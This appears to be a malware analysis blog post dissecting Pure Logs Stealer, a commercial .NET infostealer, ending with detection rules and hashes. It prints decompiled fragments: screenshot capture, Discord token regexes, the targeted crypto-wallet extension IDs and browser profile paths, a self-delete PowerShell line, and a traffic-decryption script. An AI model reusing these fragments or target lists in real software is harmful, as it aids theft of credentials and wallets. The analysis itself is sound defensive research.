# **Pure Logs Stealer Fails to Impress**

#russianpanda.com/2023/12/26/Pure-Logs-Stealer-Malware-Analysis/

# **Case Study**

Pure Logs Stealer first appeared on hacking forums at the end of October 2022. The stealer is developed by a malware developer going under the alias PureCoder.





	Products	
	* 5.0 Pure Crypter Crypter For Native And .NET	★ 5.0 Pure Logs Best Stable Logger Stealer
CLICK HERE BEFORE BUY \$0.00 OUT OF STOCK X	Pure Crypter \$59.00 IN STOCK V	Pure Logs \$199.00 IN STOCK V
* 5.0 Pure Miner Powerful Silent Crypto Miner	* 5.0 Blue Loader Advanced And Light Botnet	* 5.0 Pure HVNC Hidden VNC Desktop
Pure Miner \$299.00 IN STOCK ~	Blue Loader \$299.00 IN STOCK ~	Pure hVNC \$99.00 IN STOCK ~
★ 5.0 Group Other Products Check Our Extra Products		
Other Products From \$ 10.00 INSTANT DELIVERY		

The malware developer is also behind in developing the products shown above, such as Pure Miner, Pure Crypter, Pure hVNC, Blue Loader, and other products, including HWID reset, Discord DM Worm, and Pure Clipper.

The malware developer periodically pushes updates to their products. The



The view of the File Grabber panel:

=	Folder Grabber		1	File Grabber		
Licensing	Folder Path Max total files size [MB]	15	 Enable	File Path Max total files size [MB]	15	 Enable
Log Data ^	%userprofile%\Desktop					
Panel	%userprofile%1Documer	Its				
Browser Pass						
App Pass						
Wallet Pass						
Networking	Extension Grabber					
Tasks	Extension Max total files size [MB]					 Enable
File Builder	.doc .docx					
Notification	.bxt					
	Download And Execut	2				
	File URL					Enable

The view of the File Builder panel:

=	Networking Settings
Licensing	IP Address Port 7702
Log Data ^	Extra Settings
Panel	Build Tag\Group Default
Browser Pass	Startup Arter Pc restart     Anti VM (RDP, VMware, Sandboxie)
App Pass	Wallet Settings
Wallet Pass	Drop a txt message to wallets folder after extracting Fresh Wallets for sale.
Networking	Contact TG @ Message
Tasks	
File Builder	
Notification	
	Build
	Build

The stealer can be purchased automatically via the Telegram Bot without interacting directly with the malware developer/seller.

Before diving into the technical part, I want to thank <u>cod3nym</u> for helping with the crypter and getting additional stealer samples.

## **Technical Analysis**

Pure Logs Stealer comes crypted using their own Pure Crypter product. The stealer allegedly has antiVM, self-delete, persistence, file grabber, and file loader features, but the features currently do not work as expected within the stealer. The self-delete feature removes the stealer payload via PowerShell command \*\*powershell Start-Sleep -Seconds 10; Remove-Item -Path '"" -Force"\*\*.

The persistence is added via Registry Run Keys (T1547.001).

I will not go through the layers of unpacking and just go straight to the core payload, which is our Pure Logs stealer. The stealer is 64-bit and is slightly over 2MB in size. It is topped with Eazfuscator.NET, which obviously is a .NET obfuscator, as shown in the image below.



The stealer creates the folder under

**%TEMP%\Costura\1485B29524EF63EB83DF771D39CCA767\64\*\* and drops the file \*\*sqlite.interop.dll** that is one of the dependencies for the stealer, likely facilitating access to the browser data.

The Main method within the PlgCore class loads the C2 address, and build ID (the default build ID is **Default**) as one of the arguments from the crypter, the other one is the value that will be used along with MD5 to generate the 3DES key for data encryption, but we will through that later in the article.

The stealer gets the host information, including the version of the OS, via WMI, specifically **SELECT \* FROM win32\_operatingsystem** statement. If neither 32-bit nor 64-bit OS systems cannot be determined, the OS is marked as "unknown", the same goes for the username, machine name, antivirus products, the working directory (the path from where the stealer was launched), etc., enumeration.

\uE01B ×	
61	<pre>&gt;  patient text;</pre>
63	}
64	// T-1 0-00000044 DTD, CR DWA, 0-000002500 5/1- 055+- 0-000000000
66	internal static string \uE002()
67	{
68	try
69	
70	1T (Environment.1564BitOperatingSystem)
72	return "64bit":
74	return "32bit";
75	
76	catch
78	
79	return "unknown";
80	3
82	// Taken: 0x06000045 RTD: 69 RVA: 0x00003EC4 Eile Offset: 0x000020C4
83	internal static string \uE003()
84	
85	try
86	
87	return Environment.UserName;
89	catch
90	{
91	
92	return "unknown";
94	
95	// Token: 0x06000046 RID: 70 RVA: 0x00003EF4 File Offset: 0x000020F4
96	internal static string \uE004()
97	
90	try
100	<pre>string machineName = Environment.MachineName;</pre>
101	if (!string.IsNullOrEmpty(machineName) && !string.IsNullOrWhiteSpace(machineName))
102	
103	return machineName;
104	
106	catch
107	4
108	
109	return "unknown";
111	

It gets BIOS information via **Win32\_BaseBoard**. ProcessorId and CPU information via **Win32\_Processor**. The ProcessorId and CPU information are then used to generate an MD5 hash, which will be the HWID marker in the stealer's log file for the infected machine.

The username and the HWID are separated by an underscore and displayed in the panel in the format "username\_hwid", as shown below.



Next, the stealer splits at the pipe the gathered information via

**SELECT \* FROM win32\_operatingsystem**, specifically under the value **Name**, and likely grab only the Windows Version value to parse it to the stealer's log file.

The query for antivirus products is performed via **Select \* from AntivirusProduct** statement.

The method below captures a screenshot of the entire primary display screen of the infected host and converts it into a JPEG image format, returning the image as a byte array.

```
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Windows.Forms;
    internal static byte[] \uE000()
        byte[] result;
            Rectangle bounds = Screen.GetBounds(Point.Empty);
            MemoryStream memoryStream = new MemoryStream();
                 Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height);
                     using (Graphics graphics = Graphics.FromImage(bitmap))
                         graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
                     bitmap.Save(memoryStream, ImageFormat.Jpeg);
                     result = memoryStream.ToArray();
                     ((IDisposable)bitmap).Dispose();
             finally
             ł
                 ((IDisposable)memoryStream).Dispose();
         Ł
             result = null;
        return result;
```

The method below gets the content of the clipboard.



The GPU information is accessed via **Win32\_VideoController** under the **Name** value. The RAM value is accessed via **Win32\_ComputerSystem** under the **TotalPhysicalMemory** value.

The method below is responsible for getting the screen size. It gets the dimensions of the display screen of the computer using **Screen.GetBounds(Point.Empty)** 



The list of the cryptowallet extensions to be enumerated and collected by the stealer:

ĩ	
ι	"ibneidfimmknenlnebklmnkoeoibofee"
	"Tronlink"
٦	HONELIK
י ג ר	
ĺ	"nkhihfheogeeeehlefnkodhefgngknn"
	"MotoMack"
٦	Melamask
<u>}،</u>	
٤	المراجع والمراجع والم
	"Inbonimaerbonpjbbluchgchaphuoujp",
2	"Binance Chain Wallet"
}, ,	
{	
	"ffnbelfdoeiohenkjibnmadjiehjhajb",
	"Yoroi"
},	
{	
	"cjelfplplebdjjenllpjcblmjkfcffne",
	"Jaxx Liberty"
},	
{	
	"fihkakfobkmkjojpchpfgcmhfjnmnfpi",
	"BitApp Wallet"
},	
{	
	"kncchdigobghenbbaddojjnnaogfppfj",
	"iWallet"
},	
{	
	"aiifbnbfobpmeekipheeijimdpnlpgpp",
	"Terra Station"
},	
{	
	"ijmpgkjfkbfhoebgogflfebnmejmfbml",
	"BitClip"
},	
{	
-	"blnieiiffboillknjnepogjhkgnoapac",
	"EQUAL Wallet"
},	
{	
-	"amkmjjmmflddogmhpjloimipbofnfjih",
	"Wombat"
},	
{	
L	"jbdaocneiiinmibilgalhcelgbeimnid".
	"Nifty Wallet"
},	-,
{	
L	"afbcbipbpfadlkmhmclhkeeodmamcflc".
	"Math Wallet"
3.	
{	
L	"hpalfhafnhbapideniamdaoeiannafln"
	"Guarda"

}, ſ	
Ĺ	"aeachknmefphepccionboohckonoeemg",
}, ſ	COINSO WALLET
ſ	"imloifkgjagghnncjkhggdhalmcnfklk", "Trezor Password Manager"
}, {	
3.	"oeljdldpnmdbchonielidgobddffflal", "EOS Authenticator"
ς, {	"gaedmjdfmmahhbjefcbgaolhhanlaolb", "Authy"
, , {	
},	"ilgcnhelpchnceeipipijaljkblbcobl", "GAuth Authenticator"
{	"bhghoamapcdpbohphigoooaddinpkbai", "Authenticator"
}, {	
	"mnfifefkajgofkcjkemidiaecocnkjeh", "TezBox"
, { }.	"dkdedlpgdmmkkfjabffeganieamfklkm", "Cyano Wallet"
{	"aholpfdialjgjfhomihkjbmgjidlcdno", "Exodus Web3"
}, {	
L	"jiidiaalihmmhddjgbnbgdfflelocpak", "BitKeep"
}, {	
r	"hnfanknocfeofbddgcijnmhnfnkdnaad", "Coinbase Wallet"
}, {	
l	"egjidjbpglichdcondbcbdnbeeppgdph", "Trust Wallet"
{	
	"nmeobnfnfcmdkdcmlblgagmfpfboieaf", "XDEFI Wallet"
}, {	
-	"bfnaelmomeimhlpmgjnjophhpkkoljpa", "Phantom"

}, r	
í	"fcckkdbjnoikooededlapcalpionmalo", "MOBOX WALLET"
}, ,	
l	"bocpokimicclpaiekenaeelehdjllofo", "XDCPay"
}, ſ	
l	"flpiciilemghbmfalicajoolhkkenfel", "ICONex"
}, ,	
ĩ	"hfljlochmlccoobkbcgpmkpjagogcgpk", "Solana Wallet"
}, {	
L .	"cmndjbecilbocjfkibfbifhngkdmjgog", "Swash"
}, {	
L .	"cjmkndjhnagcfbpiemnkdpomccnjblmj", "Finnie"
}, {	
L	"dmkamcknogkgcdfhhbddcghachkejeap", "Keplr"
}, ,	
L	"kpfopkelmapcoipemfendmdcghnegimn", "Liquality Wallet"
}, ,	
L	"hgmoaheomcjnaheggkfafnjilfcefbmo", "Rabet"
}, ,	
ι	"fnjhmkhhmkbjkkabndcnnogagogbneec", "Ronin Wallet"
}, ,	
l	"klnaejjgbibmhlephnhpmaofohgkpgkd", "ZilPay"
}, [	
ĩ	"ejbalbakoplchlghecdalmeeeajnimhm", "MetaMask"
}, [	
ĩ	"ghocjofkdpicneaokfekohclmkfmepbp", "Exodus Web3"
}, [	
í	"heaomjafhiehddpnmncmhhpjaloainkn", "Trust Wallet"

}, {	
L.	<pre>"hkkpjehhcnhgefhbdcgfkeegglpjchdc", "Braavee Smort Wallet"</pre>
},	BLAAVUS SMALL WALLEL
{	"akoiaibnepcedcplijmiamnaigbepmcb", "Yoroi"
}, ,	
L	"djclckkglechooblngghdinmeemkbgci", "MetaMask"
}, {	
L	"acdamagkdfmpkclpoglgnbddngblgibo", "Guarda Wallet"
}, ,	
L	"okejhknhopdbemmfefjglkdfdhpfmflg", "BitKeep"
}, {	
L	"mijjdbgpgbflkaooedaemnlciddmamai",
}	waves keeper

List of browser extensions to be enumerated and collected:

```
{
        "Chromium\\User Data\\",
        "Chromium"
},
{
        "Google\\Chrome\\User Data\\",
        "Chrome"
},
{
        "Opera Software\\Opera GX Stable\\",
        "Opera GX"
},
{
        "Opera Software\\Opera Stable\\",
        "Opera"
},
{
        "Google(x86)\\Chrome\\User Data\\",
        "Chrome"
},
{
        "BraveSoftware\\Brave-Browser\\User Data\\",
        "Brave"
},
{
        "Microsoft\\Edge\\User Data\\",
        "Edge"
},
{
        "Tencent\\QQBrowser\\User Data\\",
        "QQBrowser"
},
{
        "MapleStudio\\ChromePlus\\User Data\\",
        "ChromePlus"
},
{
        "Iridium\\User Data\\",
        "Iridium"
},
{
        "7Star\\7Star\\User Data\\",
        "7Star"
},
{
        "CentBrowser\\User Data\\",
        "CentBrowser"
},
{
        "Chedot\\User Data\\",
        "Chedot"
},
{
        "Vivaldi\\User Data\\",
        "Vivaldi"
},
```

```
{
        "Kometa\\User Data\\",
        "Kometa"
},
{
        "Elements Browser\\User Data\\",
        "Elements"
},
{
        "Epic Privacy Browser\\User Data\\",
        "Epic Privacy"
},
{
        "uCozMedia\\Uran\\User Data\\",
        "Uran"
},
{
        "Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\",
        "Sleipnir5"
},
{
        "CatalinaGroup\\Citrio\\User Data\\",
        "Citrio"
},
{
        "Coowon\\Coowon\\User Data\\",
        "Coowon"
},
{
        "liebao\\User Data\\",
        "liebao"
},
{
        "QIP Surf\\User Data\\",
        "OIP Surf"
},
{
        "Orbitum\\User Data\\",
        "Orbitum"
},
{
        "Comodo\\Dragon\\User Data\\",
        "Dragon"
},
{
        "Amigo\\User\\User Data\\",
        "Amigo"
},
{
        "Torch\\User Data\\",
        "Torch"
},
{
        "Yandex\\YandexBrowser\\User Data\\",
        "Yandex"
```

```
},
```

```
{
        "Comodo\\User Data\\",
        "Comodo"
},
{
        "360Browser\\Browser\\User Data\\",
        "360Browser"
},
{
        "Maxthon3\\User Data\\",
        "Maxthon3"
},
{
        "K-Melon\\User Data\\",
        "K-Melon"
},
{
        "Sputnik\\Sputnik\\User Data\\",
        "Sputnik"
},
{
        "Nichrome\\User Data\\",
        "Nichrome"
},
{
        "CocCoc\\Browser\\User Data\\",
        "CocCoc"
},
{
        "Uran\\User Data\\",
        "Uran"
},
{
        "Chromodo\\User Data\\",
        "Chromodo"
},
{
        "Mail.Ru\\Atom\\User Data\\",
        "Atom"
}
```

};

Some of the data collected from Chromium-based browsers and the mention of **encrypted\_mnemonic** is shown in the image below. **encrypted\_mnemonic** most likely stores a securely encrypted version of a mnemonic seed phrase, which is essential for accessing or recovering cryptowallets.



For Gecko-based applications such as:

- Mozilla\Firefox
- Waterfox
- K-Meleon
- Thunderbird
- Comodo\IceDragon
- 8pecxstudios\Cyberfox
- NETGATE Technologies\BlackHaw
- Moonchild Productions\Pale Moon

The stealer uses specific queries, for example, "**SELECT \* FROM moz\_bookmarks**", the query that interacts with the SQLite database used by Mozilla Firefox for storing user bookmarks. For Gecko-based applications, the stealer accesses file **logins.json**, which Mozilla Firefox uses to store saved login information, including usernames and passwords for websites, as shown below.



The method below is responsible for extracting, processing, and decrypting credential information from specific registry paths related to Outlook profiles. The regex patterns are used to validate server names and email addresses.



The following Outlook registry paths are enumerated:

- Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

- Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676

The snippet below is the method responsible for grabbing Discord data. The method iterates through directories associated with different Discord builds (**discord**, **discordcanary**, **discordptb**).

- It searches for directories containing local storage data (specifically in the leveldb folder).
- The method calls \uE002 to extract certain data from the local storage files (ldb, log, sqlite)
- If any data is found, it attempts to make web requests to Discord API endpoints using these tokens. The regular expressions in the image below is created to match patterns that resemble Discord authentication tokens.

\uE067 ×	
91	try
92	
93	<pre>rleinto[] tles = \u00educetrles( ~.100 ); silatafat[ files = \u00educetrles( ~.100 );</pre>
94	<pre>ritino[] files = /utrouverfile(".utg); files/files/= /utrouverfile(".utg); files/files/= /utrouverfile(".utg); files/file</pre>
96	<pre>FileInfo[] filesd = \u00f800 GefFiles("* log");</pre>
97	for (int i=0; i < files, length; i++)
98	
99	<pre>foreach (object obj in Regex.Matches(files[i].OpenText().ReadToEnd(), "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27} mfa\\.[\\w-]{84} dQw4w9WgXCQ:[^.*\\['(.*)'\\].*\$][^\"]*"))</pre>
100	
101	
103	if (Regex.IsMatch(((Match)obj).Value, "dQw4w9WgXcQ:[^.*\\['(.*)'\\].*\$][^\"]*"))
104	
105	<pre>string item = \uE041.\uE000(Convert.FromBase64String(((Match)obj).Value.Split(new string[]</pre>
107	* "doubletter:
108	<pre>stringshitotions None)[1] \uEP00 Parent Parent FullWame + "\\local State");</pre>
109	]) is Add(item):
110	
111	
112	
113	IST.Add(((match)obj).Value);
115	
116	
117	
119	
120	
121	<pre>for (int j = 0; j &lt; files2.Length; j++)</pre>
122	formark (chiest chi2 in Parey Matcher(filer)[1] OpenTaut() PendToEnd() "[\\u_](24\\\ [\\u_](24\\\ [\\u_](27\\u_fi\)][\u_](27\\u_fi\)][\u_](20\\dots)[u_0(u)][0][0][0][0][0][0][0][0][0][0][0][0][0]
124	<pre>ty care (object object) we are a classified and object objec</pre>
125	
126	
127	1f (Regex.IsMatch(((Match)obj2).Value, "dQw4W9WgXcQ:[^.*\\['(.*)'\\]."\$][^\"]*"))
129	list.Add/\uE041.\uE000(Convert.FromBase64String(((Match)obi2).Value.Snlit(new_string[]
130	{
131	"dQw4w9NgXCQ:"
132	<pre>}, StringSplitOptions.None)[1]), \uE000.Parent.Parent.FullName + "\\Local State"));</pre>
133	
135	
136	<pre>list.Add(((Match)obj2).Value);</pre>
137	
138	
140	
141	

Funny fact: all Discord tokens start with dqw4w9wgxcq, let's not get rickrolled ...

Interestingly enough, Pure Logs Stealer also collects Windows product key and stores it under a separate log file named **App\_Windows Serial Key.txt**. It accesses the key via the registry **SOFTWARE\Microsoft\Windows NT\CurrentVersion** under the value **DigitalProductId**.

I renamed each method so it is easy to visualize what type of data the stealer collects:



As you can see from the above image, the most current stealer version is v3.1.3, and some additional sensitive data is collected from the following applications:

- FileZilla
- WinSCP (collects username, and passwords)
- Foxmail
- Telegram
- Pidgin
- Signal
- InternetDownloadManager (IDM) (collects email addresses, first name, last name and serial number)
- OBS Studio (collects profiles data)
- Ngrok (collects ngrok.yml)
- OpenVPN
- ProtonVPN

I will leave it to you to explore what files it collects from some of the applications mentioned above.

The example of the logs folder is shown below:



It is worth noting that after successfully executing, the stealer creates a registry subkey under **HKU:\Software** with the HWID value.

### **C2** Communication

The stealer uses a **Socket** for TCP/IP communication. It sets up a TCP/IP socket and attempts to connect to a server, and if the connection is successful, it begins receiving data. It continuously tries to connect, with a 5-second delay between attempts, in case of initial failure. The default port for communication is 7702, but that can be changed.

Before sending the actual data to C2, it sends the data size as shown below.

```
> Frame 2295: 58 bytes on wire (464 bits), 58 bytes captured (464 bits) on interface \Device\NPF_{4
> Ethernet II, Src: Xensource_23:fc:9f (00:16:3e:23:fc:9f), Dst: AbbIndustria_23:05:83 (00:00:23:23
> Internet Protocol Version 4, Src: 19 , Dst: 18
> Transmission Control Protocol, Src Port: 55535, Dst Port: 7702, Seq: 1, Ack: 1, Len: 4
> Data (4 bytes)
Data: c8e70200
[Length: 4]
```

The exfiltrated data is sent at once instead of in separate parts, which impacts the successful infection. The attacker will not receive any data if the communication is interrupted at a certain point. It is worth mentioning that stealers such as Raccoon Stealer send the data in parts to the C2 server, so in case of network interruption, at least some data is exfiltrated.

As it was briefly mentioned before, Pure Logs Stealer uses 3DES for data encryption that is sent over to C2. The 3DES key is derived from the value supplied as one of the parameters along with the C2 IP address in the stealer payload.

l tc	o.strea	m eq 6									* +
No.		Time	Source		Destinatio	n	Protocol	Lengtł Info			
F	295	7.948850	19		18	1000-00-	TCP	58 55535 → 7702 [P	SH, A	, ACK] Seq=1 Ack=1 Win=64000 Len=4	
	296	7.963393	18	1000	19		TCP	60 7702 → 55535 [A	CK] Se	] Seq=1 Ack=5 Win=63997 Len=0	
1	01	821.348788	19		18		TCP	14654 55535 → 7702 [A	CK] Se	] Seq=5 Ack=1 Win=64000 Len=14600	
1	601	821.349511	18	CONTRACTOR OF	19		TCP	60 7702 → 55535 [A	CK] Se	] Seq=1 Ack=14605 Win=64000 Len=0	
1	601	821.349541	19		18		TCP	26334 55535 → 7702 [A	CK] Se	] Seq=14605 Ack=1 Win=64000 Len=26280	
1	601	821.350262	18		19		TCP	60 7702 → 55535 [A	CK] Se	] Seq=1 Ack=40885 Win=64000 Len=0	
1	601	821.350278	19		18		TCP	38014 55535 → 7702 [A	CK] Se	] Seq=40885 Ack=1 Win=64000 Len=37960	
1	601	821.350861	18		19		TCP	60 7702 → 55535 [A	CK] Se	] Seq=1 Ack=78845 Win=64000 Len=0	
1	601	821.350923	19		18	1000	TCP	49694 55535 → 7702 [A	CK] S	] Seq=78845 Ack=1 Win=64000 Len=49640	
1	601	821.351796	18		19		TCP	60 7702 → 55535 [A	CK] Se	] Seq=1 Ack=128485 Win=64000 Len=0	
1	601	821.351813	19	100	18	1000	TCP	61374 55535 → 7702 [A	CK] Se	] Seq=128485 Ack=1 Win=64000 Len=61320	
1	601	821.352493	18		19		TCP	60 7702 → 55535 [A	CK] Se	] Seq=1 Ack=189805 Win=64000 Len=0	
1	601	821.352509	19	and the second	18		TCP	662 55535 → 7702 [P	SH, A	, ACK] Seq=189805 Ack=1 Win=64000 Len=608	
- 1	601	821.376306	18		19		TCP	60 7702 → 55535 [A	CK] Se	] Seq=1 Ack=190413 Win=63981 Len=0	
> Fr	ame :	150154: 1465	4 bytes c	on wire (1172	132 bits),	14654 bytes	captured	(117232 bits) on inter	rface	ace 0030 fa 00 38 d9 00 00 68 3a a2 9e cf eb ef f4 c2 b6 ··8··h: ······	^
> Et	herne	et II, Src:	Xensource	_23:fc:9f (0	0:16:3e:23	:fc:9f), Ds	t: AbbInd	ustria_23:05:83 (00:00	:23:23	3:22 0040 4d 2d 7b 16 12 70 5b bc dd 5c 55 f5 9a 3d e9 e7 M-{··p[··\U··=··	
> Ir	terne	et Protocol	Version 4	, Src: 19	, Ds	t: 18				0050 aa 4a 73 f6 7b 20 e3 49 43 7c d9 3f cc 9b 9b b4 - Js-{ ·I C ·?···	
> Tr	ansm	ission Contr	ol Protoc	ol, Src Port	: 55535, D	st Port: 77	02, Seq:	5, Ack: 1, ten: 14600		0000 35 ET ES 40 DD DI T/ OD DI TC 3C 40 TO E0 IC OC >	
Y Da	ta (:	L4600 bytes)								0080 5c 30 a8 0a 87 c7 69 da 7e 88 c4 5d 8c 71 bd ac \0iii.g.	
	Data	[truncated	]: 683aa2	9ecfebeff4c2	b64d2d7b16	12705bbcdd5	c55f59a3d	e9e7aa4a73f67b20e349437	7cd93f	d93f 0090 c8 8a 4d 1a 07 20 67 47 d8 90 4e dd 5c 19 9a 40 ·······gG ·······@	
	[Ler	ngth: 14600]								00a0 6b fa a5 e1 1b 5b c8 12 cc 23 67 3f 07 49 93 40 k····[·· ·#g?·I·@	
										00b0 9c 34 77 c8 c3 8c 6f de a8 a7 29 2e bc 47 57 39 ·4w···o· ·)GW9	
										0000 69 69 62 ad 7 86 62 2d a9 29 3b 96 88 9a 2a 90 in	
										00f0 ba 6c 77 7c df ee da cd 64 eb 82 dl 39 ca ed 21 · 1w d9!	
										0100 5a 59 6a ff 4e e5 c8 23 55 2f 87 76 c8 b2 ed 7a ZYj·N··# U/·v··z	
										0110 7f 7d 04 26 8d 69 64 57 9b ba 17 52 55 fd a9 af ·}·&·idW ···RU···	
								1		0120 a5 5a 5d 66 d5 88 44 d8 62 24 5e 45 81 7c 42 da ·Z]T·D·D\$^E·[B·	
										0130 00 00 41 44 5d 06 05 00 00 77 00 TT 02 65 03 49 472 W	
										0150 c0 7b e9 58 c6 d3 ae 1b d6 65 94 49 ee 7d 1c 13 .{.xe.I.}.	
										0160 51 be e3 1f 0e e2 9e 7b 80 9a 28 21 42 29 f9 04 Q{	
										0170 04 0e ee 73 6a ab 33 6a 0d 2b 9c 4b 1e 3a 58 fa ···sj·3j ·+·K·:X·	
<									>	> 0180 5a f3 25 64 ec 24 e9 17 ab 87 47 d2 c7 ee ce 62 Z-%d-\$6b	~
0	1 0	ata (data.data),	14,600 byte	5						Packets: 167105 · Displayed: 14 (0.0%) Profile: I	Default
				qTh 204 tA6 8Jv XZW \tT	tjSP-f09 134\tAPI IWRMueSb mZ4VGxiQ UIKM8NSD RUE\t/\t	d8LbYz_W SID\tof9 1VOY5IY\: WNJOdfjT bCQ7Q\x1 FALSE\t1	csPUo8D MPFycVX x1a@.go v9nKBpx a\xdd\x 3350201	LGk7r35rw7H3rkICk cDhzms/AIfGofd1Wt ogle.ru\tTRUE\t/\ jpgOIMMp5hN3jtvtu 01.google.ru\tTRL 470000000\tOTZ\t7	Nb52\ tvhpc \tFAL JC8s# JE\t/ 73471	52\x1a5.google.ca\tTRUE\t/\tFALSE\t13382169484105927\tAPISID\tof9MPF hpqVG7\x1aU.youtube.com\tTRUE\t/\tFALSE\t13382169483915793\tAPISID\t FALSE\t13382169484204047\tHSID\tAczPCZM9VuT2Md7_5\x1aB.youtube.com\t 8sAtsfsa2_0.\x1a\xdd\x01.google.ca\tTRUE\t/\tFALSE\t13363420684106604 \t/\tFALSE\t13363420684204215\tNID\t511=GpRVnjs5bNmZPWsJycmKPR3TSWM 47198_56_5656_\x1aT.google.ca\tTRUE\t/\tFALSE\t13382169484105972\t	

The Python implementation to decrypt the traffic:

```
# Author: RussianPanda
```

```
import gzip
import binascii
from Crypto.Cipher import DES3
from Crypto.Hash import MD5
from Crypto.Util.Padding import unpad
# Decrypt data using 3DES with MD5 hash of a key string
def decrypt_3des(encrypted_data_hex, key_string):
    encrypted_data = binascii.unhexlify(encrypted_data_hex)
    md5_hash = MD5.new()
    md5_hash.update(key_string.encode('utf-8'))
    key = md5_hash.digest()
    cipher = DES3.new(key, DES3.MODE_ECB)
    # Decrypt the data
    decrypted_data = cipher.decrypt(encrypted_data)
    decrypted_data_unpadded = unpad(decrypted_data, DES3.block_size)
    return decrypted_data_unpadded
def decompress_gzip(data):
    data_without_length = data[4:]
    decompressed_data = gzip.decompress(data_without_length)
    return decompressed_data
encrypted_data_hex = ""
# Key string used for encryption
key_string = ""
# Decrypt the data
decrypted_data = decrypt_3des(encrypted_data_hex, key_string)
decompressed_data = decompress_gzip(decrypted_data)
# Saving the decompressed data to a file
output_file = "decrypted_data.bin"
with open(output_file, 'wb') as file:
    file.write(decompressed_data)
print(f"Decompressed data saved as {output_file}")
```

### Conclusion

Despite the obfuscation and layers of unpacking, Pure Logs Stealer is similar to other .NET stealers and does not possess any special functionalities. The effectiveness of its file grabber and file loader features remains to be questioned.

### **Detection Rules**

You can access the Yara detection rule for Pure Logs Stealer here.

You can access the Sigma detection rule for Pure Logs Stealer here.

### **Indicators of Compromise**

Name	Indicators
Stealer Payload	2b84f504b2b8389d28f2a8179a8369fc511391e7331f852aaf3a6a2f26a79ee4
Stealer Payload	8543ea15813ea170dd0538d7cd629f451ceb7e18b07c4db1cdbce5e089b227d4

## Reference

https://learn.microsoft.com/en-us/dotnet/fundamentals/networking/sockets/sockets-overview

https://github.com/RussianPanda95/Yara-Rules/blob/main/Pure%20Logs%20Stealer/purelogs\_stealer.yar

https://github.com/RussianPanda95/Sigma-Rules/blob/main/Pure%20Logs%20Stealer/purelogs\_stealer\_dll\_creation.yaml

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